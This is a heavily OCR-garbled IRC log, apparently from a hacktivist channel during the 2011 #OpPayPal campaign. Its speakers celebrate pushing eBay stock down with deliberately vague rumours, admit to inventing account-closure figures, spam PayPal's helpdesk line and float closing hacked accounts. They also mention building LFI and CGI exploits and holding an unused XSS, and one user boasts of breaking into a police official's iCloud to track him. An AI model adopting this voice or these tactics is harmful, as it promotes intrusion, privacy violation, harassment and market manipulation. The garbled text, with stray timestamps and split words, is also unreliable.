Second l"T 
10:09 < 
10:09 < 
10:09 < 
10:10 < 
10:10 





it's almost a legal operation lol 
at least for anyone involved 
_ LOL 

except for us 
haha 

at least no arrests will follow haha 

I need to bypass this fucking telco block 

and they will lose massive ammounts of money 

I cannot send text/calls! 
I'm sure that at least 1000+ accounts have been closed by now 
and it grows! 

howdy ^^^^^g I found a way to get BTC into bank accounts via 
just paid the entire year's water bill with BTC 

AWESOME :D 

I have a way also BTW 
_^ called Dwolla 

IS mostly interested in destroying money 
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10:10 < 
10:10 < 
10:11 < 
10:11 < 
10:11 < 
10:11 < 
10:11 
10:11 
10:11 
10:12 
10:13 
10:15 
10:15 
10:15 
10:16 
10:22 
10:26 
10:33 




# lsunnydays.log 
a friend mentioned it to me 

but that being said, paying bills would be nice :p 

mmmmm, payment 
who is H^l^l 

trusted, oT^anonops guy 

ask him :x 

I know the name from some place 

he's also a family friend lol 
i think its a random nick 

straight after ABH, became my middle name 
also, ^^^^1 xD 
XD 

any alternatives to PayPal we can suggest? lr, webMoney, Bitcoin 
for normal pppl . . Neteller.com 
moneybookers 
?Sabu> prepaid visas hoe! 

n8FC68BF0.ClA97D99.F3E927CC.IP] has quit [User quit: Leaving] 
ped for a little impact, but honestly did not expect this. 




waiting for NASDAQ to open. Our tip: SELL EBAY! WikiWiki! #AntiSec #OpPayPal 



10:33 < 
10:36 < 
10:36 < 
10:38 < 
10:38 < _ 
right now 

#FYW 

10:38 
10:38 
10:38 
10:40 
10:40 
10:41 
10:41 
10:41 
10:44 
10:44 
10:47 _ 
topic wor 
10:47 < 
10:48 < 
10:50 < 




SCREW THEM FUCKING ROYALLY 

oh this will cost them 
haha 

it may just work by being vague and honest nonetheless lol 
wordymcwriter RT @Anonvino: There is a bank run going on at PayPal 
your funds out now while you can! #0pPayPal #Fuckyouwashington 



10:50 
10:50 
10:51 
10:51 
10:51 
10:52 
epic win 
10:57 < 
10:57 < 
10:57 < 
11:03 < 
11:03 < 
11:03 < 
11:04 <' 
11:07 < 
11:15 < 
11:16 



we dont even need to take care of it 
just spread a few hints 
ppl will get the message 
http : //ompl d r . org/vOW5heA 
lol? 

that is one sexy background 
my terminals just have nyan cat 
represent! n ' 
http: //mi nus . com/m64Khi 
:D 

mi keyytsunami OAnonymouslRC #OpPayPal is now the 4th trending 
e :0 #PowerlnNumbers #Anonymous #AntiSec 

wow 

that shit kinda worked 
wow 3rd now 
trending, epic 

no twitter hive ever done that before 
peaceful protest - a win 
niiiice 

<3 <3 

"Thanks to all you #Anonymous people who are making #OpPaypal an 

we will never forget." 
cool 

just got free flatters 
flattrs 
Sabu> whats that? 

trending, now 2nd place worldwide 
\o/ 

https : //twitter . com/#!/search?q=%230pPaypal 
Sabu> no way 

yes way 







fooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat] has quit 
.Ping timeout] 

11:20 [^^^^Jkerpia-49E3El71. gigabit. perfect-privacy. com] has joined 

#! sunnyoays 

11:20 ^^^^H [^^^^^^^^^B has quit [User quit: Leaving] 
11:22 <@Sabu> we I " 
11:22 < 
11:22 < 



11:23 < 
11:23 < 




lets keep it up s 
hi again 
jeez 

THIS OP IS FUCKED UP 

lol 
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#! sunnydays .log 
nsadaq to open soon 



11:23 < 
11:24 <(i 
11:24 <(asabu> 0;) 

11:24 <(asabu> anybody making bets how much itll drop? 
when does it open? 

90m? 
ah 

9.30 EST 
so 2h 
jeA 

http://twitter.com/AnonymouslRC/statuses/96181083237912576 
:D 

i bet... we make some panic just by making vague announcements lol 

Sabu> lolol 
<@Sabu> mindfucking of the masse 
<@Sabu> thats how we do fo 
<@Sabu> foo 
36 <@Sabu> lets watch it together 

36 <©Sabu> http: //www. google.co.uk/finance?client=ob&q=NASDAQ: EBAY 
its at 34:42 



11:25 
11:25 
11:25 
11:25 
11:25 
11:27 
11:28 
11:28 
11:31 
11:35 
11:35 
11:35 
11:35 
11 
11 
11 
11 
11 
11 
11 
11 




36 <@Sabu> 
36 <@Sabu> 




see where it drops to 
shit 

i cant RT anymore 
its too fast 

lol 

H^g^^g PayPal 

tn^^^noughts on 



23:38 

osed, and 



wont comment... I asked about the number of 
the new campaign. 



I got a generic statement from the UK PR firm 



39 
39 
39 
39 
11:42 
accounts 

11:42 < 

11:42 < hehe 
11:43 < 23:39 
works wit 
11:43 < 
our privacy 
11:43 < 
court or 
11:43 < 
has occurre 

11:45 <@sabu> the fbi is not going to call paypal after paypal got ddosed 

<©Sabu> to say hey 
<©Sabu> uh 

<@Sabu> i herd you got ddosed 
<@Sabu> imma subpoena you 
<@Sabu> also cocks 
<@Sabu> and you like mudkipz 



'We can't comment on ongoing legal action. PayPal 

aw enforcement around the world to protect 

our customers and their accounts. As we state in 
policy, PayPal works with law enforcement or 

government officials if we receive a subpoena or 
Tf we need to do so to comply with law; or 

if we believe in good faith that illegal activity 



11:45 
11:45 
11:45 
11:45 
11:45 
11:45 
11:49 
11:50 



12: 
12: 
12: 
12: 
12: 
12: 
12: 
12: 
12: 
12: 
12: 
12: 
12: 
12: 
12: 



00 
10 
10 
10 
10 
10 
10 
10 
11 
11 
11 
12 
12 
12 
13 




anyone got a freeze.it of the fake Murdoch story? 
never mind, found it 
TWITTER MAGIC <3 



<©Sabu> yo 
<(asabu> you there? 

<@Sabu> https : / /twi tter . com/# ! / askpaypal 
<@Sabu> the ©askpaypal staff are there 
<@Sabu> working now 
<©Sabu> you ready for the lol s? 
ha. 

now THIS is a nice way 
to wake up 
love you too 
<3 



bei ng 
12:13 
but if 




ask ©askpaypal why they are advocating their own customers 

so yeah, one problem - I'd love to shut down my paypal account 

o everything will crash and burn 
<@Sabu> https : //twi tter . com/# ! /wi ki 1 eaks/status/96190924983508992 
<g— :1 

<@Sabu> ^^^H figure it niggles! 

tnere are no, and I mean NO alternatives in the netherlands 
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# lsunnydays.log 
don't have a cc 
for shit like hosting 



ClA97D99.F3E927CC.IP] has joined #!sunnydays 

bu, around ? 

yo 

yO bro 

Sabu, some news about the leakers crew? 
seems like a spear phisher 
owned some i tali an cyber cops etc 
new dump has passport pics etc 

i saw the latest release too, but not sure if is it a good stuff o 

impressed 

#oppaypal : Total of 174 nicks [7 ops, 0 halfops, 

was an accident 

just a tweet to close paypal accounts 

that if you tweet that to 130k who are on the brink 

best things happen spontaneously 
hahaha 

will get alive 
seriously 

it's going rough lately 
first fuckyouwashington 
now this 

mind if I, after I get some 
it? 

we have #oppaypal worldwide 




food, make a plug for #bitcoin to 
trending between 2-4 for 



JSal 
<©sabu> 

< 

< 

<(asabu> 
http : //you rpresenceonl i ne 
gets-an-f/ 




this is insane 
accident indeed 

is che guevaras beard 

eh 

ol 

but yeah 

ok to plug #bitcoin 
after I get some food? 



wordpress . com/2011/07/27/soci al -medi a-pr-cri si s-paypal 




oh indeed 
THAT was the 

HAH HA 

rofl , 
oh 

Parmy 
as 



initial tweet 



it's sad there are no lower marks than F 



mig 
;) 

y . she 



Olson just logged on 
want to give her a poke 



can 

eleovaldo RT 

eased at 1030 AM 



come on 



1 re : p 

©AnonymouslRC The CaliforniaRestaurantDB 

Anti Sec 
lol i still find this funny 

@AnonymouslRC loving the #OpPayPal playlist so far keep it coming 



maybe should do radiopayback :p 
sn^is on here 
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#! sunnydays .log 
but not in any channels it seems 
wait 

did I just seriously out-troll two trolls? 

i didnt notice, i dont even have timestamps :p 
sikwitit420 and jexNet look like paypal emplyee trolls 
so busy being amused with twitter... all the randoms now 
e ebay closing price lol 
ah 

i got her 

https : //twi tter . com/# ! /penthesi 1 ea/status/96202474066677760 

8e775b9C.CB47D490.a27e456C.IP] has joined #!sunnydays 
morning guys :D 

has joined #! sunnydays 
AnonymousIRC Stock is finally down in 
the investors got the memo! Let's short this toxic company! 

so far so good 
excellent 

operation is being a success 

and i got flatters 

i only signed up cause someone gave one to me lol 
- you there? 

love to get you to help develop the lfi fuzz/exploit 



;18 
;18 
;18 
;18 
;18 
;18 
;18 
;18 
;18 
;18 
;18 
:18 
:18 
;18 
https:/ 
13:18 < 



13 
13 
13 
13 
13 
13 
13 
13 
13 
13 
13 
13 
13 
13 



<^H^H brb# 
<@Sabu> dude 

<@Sabu> this is exploding more than anything else 
<@Sabu> rofl 

Sabu - seen the GWEE mk 2 yet? 
3<3<# what are you doing? 





CGI-BIN exploits you have 



we are writing in Python <3 
nice 

111 link ya inabit 

sabu: you know my skills, they appear suddenly :x 

usually PR 

heyguise with small twitter accounts :P 

Support from account with over900000 followers has just arrived 
. com/# ! /wi ki 1 eaks 

Sabu - care to help develop? None of us have the skills with 




FUCK twitter 
lol 

<3 

o I ~ 

gonna need your metasploit expertise 

oh 

give me vps credentials 



will be 
is the 

this 



1 n 

fucki ng 



happen beyotch<3 

send me latest code when i wake up i got you 
do, a new version is due today 
no vps , we are getting a SVN 



yes 
will 



this is going 
to be a fucking 
massacre 

7 

for paypal 
lol 

for program development 

ah kl^^ 

subversion ok 

yes, suversion and git 
brb inabt 
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13:23 ga^^l^H [^■■■■■H ^3iS quit [User quit: Leaving] 

13:23 <H^^Hseei n^^CTnTeaKsTweet to us is like the Galactica 



seeing ©wiki leaks tweet to us is like the Galactica meeting the 
Pegasus . #OpPayPal 
<3 

rt https://twitter.eom/#l/justinperras/status/96205008747511808 
actually 

can we drop mantech now? 
is anything happening there? 
not dropping dox 
but giving it away. 
It will confuse the fuck out of them 
our plate full anyway 



13; 
13; 
13 
13; 
13; 
13; 
13; 
13; 
13 
13 
13 
13; 
13; 
13; 
13; 
13 
13 
13; 
13 
13 
13 
13 
13 
13 
13; 
13; 
13; 
13; 
13; 
13; 
13 
13 
13 
13 
13 
13; 
13; 
13 
13 
13; 
13; 
13; 
13; 
13 
13 
13 
13; 
13; 
13 
13 
13 
13 
13; 
13; 
13; 
13; 
13 
13 
13; 
13 
13 
13 
13 
13; 
13; 



23 
25 
28 
28 
28 
28 
28 
28 
28 
29 
29 
29 
29 
29 
29 
29 
29 
29 
29 
30 
30 
30 
30 
30 
30 
30 
30 
30 
31 
31 
31 
31 
31 
31 
31 
31 
31 
31 
31 
31 
31 
31 
32 
32 
32 
33 
33 
33 
33 
33 
33 
33 
33 
34 
34 
34 
34 
34 
35 
35 
35 
38 
38 
40 
41 



we have 

"OH SHIT 
OHS HIT 
STOCK 
GOING 
DOWN 

dude 

ROFL 
ROFL 
ROFL 

THIS IS REAL 
I well 

lets wait a bit 

only 5m 
"lol 

33.81 -0.61 C-1-77%) 9:34AM EOT 
but yeah 
ni ce 

"1.77 drop in 5 minutes 
big lol 
who know 

if we kept to legal boycotting 
we'd be more powerful 

ROFL 

I lol whos stock is falling and why :o? 



you dont know? 

nope :/ 
lol lol lol 

ROFL 

twitter is owning paypal 
^^^1 fucking accidently started 
a massive movement 
<@Sabu> #oppaypal 
<@Sabu> search it on twitter 

its a fucking massive explosion 
#oppaypal a tredning topic too 
yeah 

top 2-4 for like 6 hours 
rldwide 
Iz 

bay stock drops 
10k+ paypal accounts were closed 
request by us 

1 




;o? 



you accidentally paypal 
literally 
:P 

ya 

welcome 

httpv/www 

Our overlord 



googl e . com/f i nance?q=EBAy 



tTiey have al ready 
holy fuck lol is tht 
http://img.ly/6H2f 



lost 9,817,568.20 
huge drop oppaypal 
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13:41 
13:41 
13:41 
13:41 
13:41 
13:41 
13:41 
13:41 
13:41 
13:42 



< hahahaha 
<@SaDu^everybody congrat 



#! sunnydays .log 



13:45 
13:45 
13:47 
13:47 
13:47 
13:47 
13:47 
13:50 
13:50 
13:50 
13:50 
13:50 



on his victories<3<3<3<3<3 
as I said'to someone else 
you can ski off that hill 
rofl 

deserver that shit bitch 

<3 

BUT BIT 

i didnt mean to lol 
if you see anyone who dontk now how to cancel 
give them the instructions 
Imao ^^^B xD 

apparer^y over 25,000 paypal 
$9 million dollars lost 
but why are we watching ebay stock drop when this is paypal? 
<®Sabu> over 1 explosive tweet? 
<@Sabu> ebayopaypal 




or link to your twitter 

accounts closed so far xD 




13:59 
13:59 
14:00 
14:00 
14:00 
14:00 
14:01 
14:02 
14:03 
14:03 
takes 
14:03 
14:04 
14:04 
14:04 
14:04 
14:04 
14:04 
retur 
14:04 
14:04 
14:04 
14:05 
14:05 
14:09 
14:10 
14:10 



ahh :D 

same company same trade symbol 
twitter is running mad 
lol 

we have no live data tho 
live it looks much worse 
lol 
-2.41% 

WTF?! 

lol 

its climbing a bit 
<@Sabu> niggers gotta keep it moving 
wel 1 , they buy back 
ofc 

to keep the price stable 

https : //twi tter . com/# ! /odotm/status/96215715186606080 
doesnt make much difference 
it costs them an AWFUL lot of money 

mm 

Revolution happens. 
Anyone working at Ebay or Paypal datacentres that was planning an 
break today probably ought to reconsider, (j 
lol 

check this from vpns http://pastehtml.com/view/bluqtmmiw.html 
<@Sabu> anontangodown ' s "dox" 

http : //www. arti f i ci al eyes . tv/node/928 

btw 

at wor 

nT^^trmiK^the cfo is buying up stock to offset the drop 

beware: https://twitter.eom/#l/EstrellaYoungqu scamming #opPaypal 
yeah someones definitely buying a lot of stock right now 
this is LOL 

<Anon-voi ce>i f one of you guys still has that phone # that 
Is/sec you shud fwd it to paypal haha 






Sat 
al so 

Account suspended 

The profile you are trying to view has been suspended. To 
ome timeline, click here. 
yes.no. 



has quit [input/output error] 



that scammer 
on twitter 



acocunt 



news/technol ogy-14308407 
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14:17 

14:17 

paypal 

14:17 

14:17 

14:18 

14:18 

14:18 

14:18 

14:18 

14:19 

14:19 

14:19 

to 12 

14:19 

14:19 

14:19 

14:19 

14:19 

14:19 

14:20 

14:20 

14:20 

14:20 

14:20 

14:20 

14:20 

14:20 

14:20 

14:22 

14:25 

14:25 

14:25 

14:26 

14:34 

14:34 

14:34 

14:35 

14:35 

14:35 

14:35 

14:35 

14:35 

14:35 

14:35 

14:35 



<@Sabu> 
<@Sabu> 

thing 
<@Sabu> 
<@Sabu> 

<i 

<@Sabu> 
<@Sabu> 



c@Sabu> 

m 

c(dSabu> 



mi 1 1 ion 





Sabu 
Sabu 
Sabu 
Sabu 




14:37 
14:37 
14:38 
14:39 
14:39 
14:41 



# lsunnydays.log 

btw guys 

said he'll use the justin bieber twitter account to RT the 

lets see if it happens 
if it does LOL 

eh 

lol? 

a bit late now 
i call it BS 
yeah lets see if it happens 
would be funny, though 
what are you up to? 
well, tbh, if he had access, he should have made the initial tweet 

that would have killed them 
now a RT? 
not worth it 
better save it. 
true 

but i doubt anyone has access 
fuck em 
not beliebes :p 

anyway what you up to? I know your nipples must be hard right now 

they begi to slack now actually 

you know when i last slept? 

me neither 
I havent slept either bro 
im stillh ere with you 
here 

dropping aain 

https : //www.google . com/finance?client=ob&q=NASDAQ: EBAY 
wel 1 

still okay 
wanna cuddle 
33.40 

-1.01 (-2.95%) 
lololol 

http : //t rendsmap . com/topi c/%23oppaypal 
sau i do : 3 

sabu* 

see that 
successi 
cuddles 
cuddles 
cuddles 
cuddles 
dances 
cuddl es 
cuddl es 
cuddles 

hey dont cuddle while i dance 
this confuses me! 
: 0 

sabu see what? :d 
the drop 

going to stay at -3 for a while 
cuddles Sabu 
this is so 
fucking win 

well hopefully it will just keep dropping :D 

33.36 

-1.06 (-3.08%) 
Real-time: 10:4lAM edt 
:D 




was successful 



<@Sabu> 
<@Sabu> 



IS that a keyboard in your pocket 
or are you just excited 
©AnonymousIRC my mother as just cancelled her paypal too! 
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#0pPayPa1 
14:41 < 
14:41 
14:41 
14:41 
14:41 
14:42 
Tuh-dud 
14:42 < 



#! sunnydays .log 




lol Sabu 

that's my Dingoo 
:3 



"test of anon's 



Just helped my colleague to 'logout' of Paypal . . \u266c 
uh-duh, another one bites the dust' 
also, 

https : //apTTtwi tter . com/# ! /geof fwhi te247/status/9622489262 5747969 
'legionallity'" 
14:43 <@Sabu> nigga got a dingo 
14:43 < @Sabu> yo I need to fucking sleep ROLF 

14:45 <^H^^^H [global message] IMPORTANT: If you did not hear about #OpPaypal 
yet - thousands of people are closing their PayPal accounts out of protest - 
http://pastebin.com/LAykdles | JOIN NOW, call PayPal at +1-888-221-1161 to close 
your account. Stock dropped 1 billion in the first 15 minutes of trading, online 
account-disable page closed, tell everyone. 




thx for inspiration 

+l-888-221-1161i still love this one tweet of me 

Seeing @wiki leaks tweet to us is like the Galactica meeting the 

OpPayPal 
:D 
xD 

the fail pool - 

http : //pi c . epi cf ai 1 . com/wp-content/upl oads/2011/07/whal e-pool -f ai 1 -fal se-adverti s 
ing.jpg - 

call -out to webshops: 
er . com/# ! /anon2060/status/96228104141410304 
could amplify the effect 
RTed 

http : //anonpad . org/oppaypal 

can someone 
structure this shit 
and add it to anonnews 
: P 

I have a rather hard time interpreting that pad 

nah cant 
much too drunk 

a group called 'd4ta' 
I remember this name 
what is it again? 

15:08 <@Sabu> http://www.scribd.com/doc/61019823/Anon-Terrorist-Ties = they're 



14:51 < 
14:52 < 
14:52 < 
Pegasus 
14:52 < 
14:52 <' 
14:53 <' 



14:56 < 
https ://twT 
14:57 " 
14:59 
14:59 
14:59 
14:59 
15:00 




saying me and 
15:08 <(asabu> 



"ucki ng 



are terrorists and provided some shitty evidence hahaha 
umb dicks 

15:09 <(asabu> d4t4? honestly dont think theres a significance to them 
15:09 <(asabu> and im one of the more old school niggas here 
15:09 <(asabu> with the exception of ^^^H old rinkled ass 
15:09 <@Sabu> and maybe ^^^^^^ 

ye idk^^^^seen their name pop up recently 
somewhere 

but I can't recall where 



15:10 < 
15:10 < 
15:10 <' 
15:10 < 
15:13 <@Sabu> 
about em 
15:15 < 




they are going against the whati s- 
ont even know wtf is whati s- 

meh 



thing 

everyone keeps asking me 




only saw their vid on youtube, introducting 3 phase plan 
I don;t understand their concept 
but 
Tntroduci n 

it seems to be mainly a cashcow 
for them 
_ selling merchandise etc 
btc-eur: 8.1 EUR-BTC: 100 

8e775b9C.CB47d490.a27e456C.IP] has quit [User quit: 
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terminal] 
15:28 H 

15:28 " 

15:28 <@Sabu> 





# lsunnydays.log 

8E775B9C.CB47D490.A27E456C.IP] 

phones the police :3 
http : //i . i mgu r . com/bvFsq . gi f 
picks up the line 
OH SNAP 
hi 

SEing me again heh 
anyone ever needs an Intel XSS 

he ^^nm^to have one 
better to keep it unused until it's 



has joined #!sunnydays 



actually needed though 



stock going back up :( twitter censoring #oppaypal ;_/ 
trending topic disappaering =/= twitter censoring 



15:33 

little time, 
15:33 
15:34 
15:34 

15:34 <^ 

still active 
15:34 <<i 
15:35 <<i 
15:35 <@Sabu> 
15:35 <@Sabu> 
freely communi 



15; 


;35 




15; 


;36 
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15; 


;36 
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;36 
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;36 
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15; 


;36 


< 


15; 


;36 
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15; 
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15; 


;38 
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15; 


;38 
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15; 


;38 
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15; 


;39 


< 


15; 


;39 


< 


15; 


;40 


< 





too many people call OMG twitter censors 

without understanding the algo 
at was to be expected 
people will buy stock as it's low 

if something surges from 0 tweets per minute to 200, it will 

if it then stays on 200 
t a world trending topic in 2nd place doesn't just dissapear 
it will no longer be trending 
thus disappear 
from the list 

twitter trending is fast flux 
stuff has to disappear as fast as it appeared 
to make place for new trending topics 

to throw as many new and hot topics at people as possible in 
as quick a response time as possible 
it's how twitter was designed 
or rather 

how trending topics was designed* 

when the growth stops, it will no longer trend, even if it's 

it has to grow constantly, 
gone again from trends 
I'm down for an #optwitter 

just cuz i thought., twitter was a safehaven for people to 
cate without censorship 

i really respected them for that, 
ohgod 

is still sad she can't access her twitter ;_; 
forget about stupi treds 

good god 
twitter IS NOT CENSORING 

trends* 

until proven otherwise 
when will people understand 

novl^ne trending algo works 

_ 

Its broken anyway, twitter admitted as much heh 
trend are fun. and that's it. 
nothing more, nothing less. 

P^B^B doesn't matter how it works we h8in :3 
nan^^^^ 

thinks i want as her older brother on facebook lulz 

s/\ i A she/ 
but i hate facebook ;_; 
ofc 

we all do! 

but our fake family is absolutely awesome! 
ew even have fake-friend now \o/ 
whats the fake family even for xD? 
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15:40 

15:40 

15:40 

15:40 

pics 

15:40 

15:40 

15:40 

15:41 

15:41 

15:41 

15:41 

15:42 

15:42 

#DboS 

15:42 

15:42 

15:42 

15:42 

15:44 

#!sun 

15:44 

15:45 

15:45 

15:45 

15:46 

15:46 

15:46 

15:46 

15:46 

15:46 

15:46 

15:46 



<@Sabu> : * 



#! sunnydays .log 




15:47 
15:47 
15:47 
15:48 
15:48 
down 
15:48 
15:48 
15:48 
15:48 
15:48 
15:48 
15:48 
15:48 
15:49 
15:49 
15:49 
15:49 
15:49 
15:49 
15:49 
15:49 
15:49 
15:49 
unders 
15:49 
15:49 
15:49 
15:49 
15:49 
15:49 
15:49 
15:50 



once they are big enough and everyone has enough friends 
we'll start a major fmaily drama 

i think it begins with my sister "accidentally" puttig her nekkid 

but what for xD 

her uncle will findit attractive 
_ lololol 
trOLLing and fun! 
for the lulz 
ave you lost the wa. . err lulz? 
=) 

u> @th3j35t3r jester . Genuine 
<@Sabu> ©anonymousabu - I am however quietly impressed with the concept of 
- at lea st now ur buddies aren't around ur trying a different tack. 
< B^^B http://www.youtube.com/watch?v=KmK0bZl4lLM <3 
<@SaDu> thi fucking guy rofl 

<@SaDu> it does 

[^kerpia-49E3El71. gigabit. perfect-privacy. com] has joined 

nyoays 

mode/#! sunnydays [+o 
sup 
STFU/DBOS 

DISTRIBUTED BOSS OF SERVICE 

wtf 

also, Department of Deface 
i like tht :D 
i see - and wants to phone the police 

;p 

pretty normal day 
Ministry of Defacement 
lulz be had 

Vi 

i thi nk you missed todays fun, sweeitie 
cuddles : 3 

DONT TOUCHMY BFFF! 

raeps 

made paypal loose 1 billion $ 

OpPaypal trended up to n2 on twitter, Ebay stocks down down 




by Confuzion 




:d 







hmm i dont think so :( 
lets check 

coming back up last i checked 

ppl are sayuing they lost 1 billion $ 

33.72 

-0.70 (-2.03%) 
meh 

yea at the depth it was near -3% 

nasdaq as a whole lost 2% 

doesn't understand stock/exchange 

its not much, but yeah 

we DID make an impact 
<B^^g i think you missed todays fun, sweeitie :D 
whyyyy 

deffo 

certainly more that 500.000 
hehe 

wishes shade was here he explains things using shoes so i can 

what happened exactly? 
we raeped paypal. legally 
via twitter 

try https://twitter.com/#!/search?q=%230pPayPal 
http^/www. cablegatesearch . net/manni ng-logs-diff . php 
ah fake statement 
several thousands accounts have been closed 
called everyone to cancel their accounts 
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#! sunnydays .log 

no fake 

100 's of thousands 
all real 

last i checked it was at ~200k accounts closed 
huge amount of ppl followed the suggestion 
all legal action 
ppl love it 
nah it was 20k 
ah okay 
ni ce 

and that number was 
i nvented 
:p 

german source in paypal said they lost 25k 

so much paypal removed their "close account" page to try and stop 
ongoi ng 

ZJi^M feally, got a source on that? 
tnats the best way to harm paypal 

so then we spammed their helpdesk phone number 
they can not do anmything against that 
i guess 

their stock graph looked like a virtical drop at one point xD 
■^^1 yeah i tweeted the phone number then 

■■^1 other net 

all because of and his one tweet xD 

epic idea 
it was . . just 
an inspiration 

"what would happen if lulzsec tweeted to boycot paypal" 
^^^g how do you feel you just legally cost paypal millions of $? 
1 tweeted that ad turend out., lulzsec didnt need to lol 

^^^g SPLENDID! 
FREE MERCEDES <3 

although i hate her :p 
justinCgio Justin Giovannetti 

Twitter boycott of PayPal started by #Anonymous at 9am GMT today 
B off #Ebay share price. #OpPayPal #Hacktivism (via ©thejaymo) 
lol if true 1 billion xD 
yar but not true anymore 
it's maybe 500m now 
: x 

maybe 600m 
still ongoing 
their cso will rage 
still alot of money and bad press for paypal :D 

hard 
33.64 

-0.78 (-2.27%) 
which is always good 

https : / /www . googl e . com/ f i nance?cl i ent=ob&q=NASDAQ : EBAY 

yean 

"little" impact 
lol 

after that tweet... it just moved on by itself 
i just had to put in a bit 
lol 

did the lulzboat start or you? 

i did sec 

also, epic support from C&wiki leaks 
wnere was that article 
ohyes 

epic tweet haha 
bunch of them 

wiki leaks greeted us with #opPayPal 
:d 

<3 <3 
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# lsunnydays.log 
thats better than ddos 

and i tweeted back... "Owiki leaks tweeting us is like the 
ing the Pegasus" 

loved that <3 
lulz 
and #oppaypal 
omg 

BBC have picked it up 
. CO . uk/news/technol ogy- 14308407 

this is basically what definies anonymous - the mass 

we have ha dthat on #2-#4 worldwide trending 

for 6 hours 

or more 
ni ce 

and it was all legal 
lol 

well *almost* 

how is it almost? it's perfectly legal :D 

wel 1 
its not 

in most countries 

it's . . not legal 

to start such a thing 

to get pplout of payment services 
>restraint of trade 

its not legal at all but they cant do anything in our case 
since we are not a company 
or a finanical rival 

it's uhm, yar 

still 

staring rumors to damage a company., yeah 

would get you in trouble 

but well 

doesnt matter 

cause 

nobody knows who started it 

and everybody who did cancel their account is innocent 

so it's pretty naice 
thats what i'm saying 

and all media saif it's 100% legal 

let's give MC visa a shot ahead of their ship 

they look for us anyway 

so it doesnt matter :p 

next on radio payback: MC visa 
yeah 

at least this operation will get nobody busted 
and made LOTS OF FUCKING DAMAGE 
really lots 

much more than the paypal ddos did 
yes more cancellations than ddos'ers lol 
actual lasting impact 
thats what i was saying all time aa ddos is not worth it against 

https : //twi tter . com/# ! /AnonymouslRC/status/96216019705667586 
AA that 

o 

since they are too agressive 
33.68 

-0.74 (-2.15%) 

dropiing again \o/ 

yeah about 600 million loss today 

but., most of nasdaq lost 2% 

so it's relative 

but yeah impact was IMMENSE 

we all were baffled 

most successful 1 op (by popularity) ever 
there will come more closes 

since you can close if you are waiting for money 
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#! sunnydays .log 
or sent money wich hasnt arrived 
yup 

and we wont stop that either 
<3 https://twitter.eom/#i/bi rgittaj 
lol i want a paypal account so i can close it 
lolol 
do it 
make one 
and close it 
: P 

imagine making one 
then you cant clos it 
closing has been disabled 

hack other accounts and close them :D 
hahah i got a few tweets like that 
'that A ! ! 

10 

could do this with lots of accounts 
but it would damage the OP 

paypal would say "the people did not actually close accounts 

hacked" 

or psyops like 

#AntiSec to close the remaining Paypal accounts in 12hrs. Expect 




they 



sunnydays 
i wish :d 
guise, problem 



has joined #! sunnydays 
by Confuzion 



http://contenl 
921/1257246745756 
16:10 <(^^^^H 
http : //content . met . 
921/1257246745756 



pol i ce . uk/News/Man-ar rested-i n-ecri me-i nvesti gati on/1260269333 
pol i ce . uk/News/Man-ar rested-i n-ecri me-i nvesti gati on/1260269333 
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- quit (input/output error) 

just over 2 hours ago 

um" 

was he on shell or w/e? pis check, 
■^H^E^''^B9C.CB47D490.A27E456 

Te^ne check 
onai crime 

uhm, o hai g uise. . . 

moin after #oppaypa1 , the 



as joined #! sunnydays 



douche 



met . pol i ce . 
readi ng 
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uk/News/Man-ar rested- 
legit :-/ 



http://content 
921/1257246745756 
16:12 <(cHH wth, 
16:13 <@^^ 
http : //content . met . pol i ce 
921/1257246745756 | looks 
yea 

banned 

from networ 

seems to be shell 

meh, that's not good 

ugh 

year^^^^ 

read aa 

that's all we know atm 
Sabu 



uk/News/Man-ar rested-i n-ecri me-i nvesti gati on/12602693 33 
and writing at the same time isn't good 

i n-ecri me-i nvesti gati on/1260269333 





he dead zzz i think 
was not talking crap 
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16:14 
16:14 
16:14 
16:14 
16:14 
16:14 
16:14 
16:14 
16:14 
16:15 
16:15 
16:15 
16:15 
16:16 
16 : 16 _ 
termina 
16:17 < 
16:18 
16:18 
16:18 
16:18 
16:18 
16:18 
16:18 
16:18 
16:18 
16:18 
16:18 
16:18 
16:18 
16:18 
16:19 
16:19 
16:19 
16:19 
16:19 
16:19 
16:20 < 
16:20 < 
16:20 
16:20 
16:20 
16:20 
16:20 
16:20 
16:20 
16:20 
16:20 
16:20 
16:20 
16:20 _ 
— Log 



I as well 
him 

are those 2? 




# lsunnydays.log 
minutes ago 



rather in worry anout someone else 
.msg obama My cover's been blown! 
oops 



8e775b9C.CB47d490.a27e456C.IP] has quit [User quit: Lost 

so guise, if they get away with our T's, brace for impact -,- 
_8e775b9C.CB47d490.a27e456C.IP] has joined #!sunnydays 
got arrested? 



1 s now known 
how : C 

that's what the cops say 
we gots no idea 
when did he quit ire? 
whoa 
1 second 
my timestpamps are off 
mode/# ! sunnydays [+m] by 
just over 2 hrs ago 
mode/#! sunnydays [-o ^^Mby 
mode/#! sunnydays [-ooo^^^^J 
one moment, 
fsunnydays [+v ^^^g by 
__ why are there two of yoIT? 
because this shell sucks 

there are two nicks from your IP 





Saou Sabu_] 




has been vanned 



they both respond to ctcp ping 
'sunnydays [+o ^^^g by Confuznon 
know :s 
you were just answered yes 
and you ask again 
TTie fu? 

it's like the shell keeps the connection alive 
1 secv. 

was kicked from #! sunnydays by _ 
_ was kicked from #! sunnydays by 
)u was kicked from #! sunnydays by _ 
Sabu_ was kicked from #! sunnydays by 
"closed wed 3u^ 27 16:20:34 2011 



— Log opened 
22:03 H Sabu 
22:03 
normal 
22:03 

22:03 < SaDu> 
22:08 < 
22:09 



22:03:37 2012 




has joined #! sunnydays 
nicks [0 ops, 0 halfops, 0 voices. 




Join to #! sunnydays was synced in 2 sees 



How are you mate 

Lulz I just got into the icloud for the head of a national 
police cybercrime unit. I have all his contacts and can track his location 24/7 
22:10 <~^^^^HH I just found the personal cell phone number for the head of 
the country^p^^e force! 



22; 
22: 
22: 
22: 
22: 



10 <~^^^H|IH This is fun shit Sabu 

10 ^■mooe/^^unnydays [+o Sabu] by 
10 mode/#! sunnydays [+v Sabu] by 
13 <®Sabu> nice 
13 <@Sabu> so who were you? 
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#! sunnydays .log 
22:13 <@Sabu> if you know about ! sunnydays 



22:15 < 
22:15 < 
22:17 < 
you were 
22:18 < 
22:19 < 
compromi se 




no comment 
channel name was leaked to feds. 



so clearly im interested who 



I understand it was leaked. That caused me a lot of hassel . 

Could you understand that I don't want to align myself with a 

screenname? 
22:19 <©Sabu> thats fine 

22:19 <©Sabu> hassle how? you got raided? or people doxed you? 



Yeah 

That okay? 

I don't trust anyone anymore 
s crazy 

22:22 <@Sabu> if you were raided, you should just move on with your life 
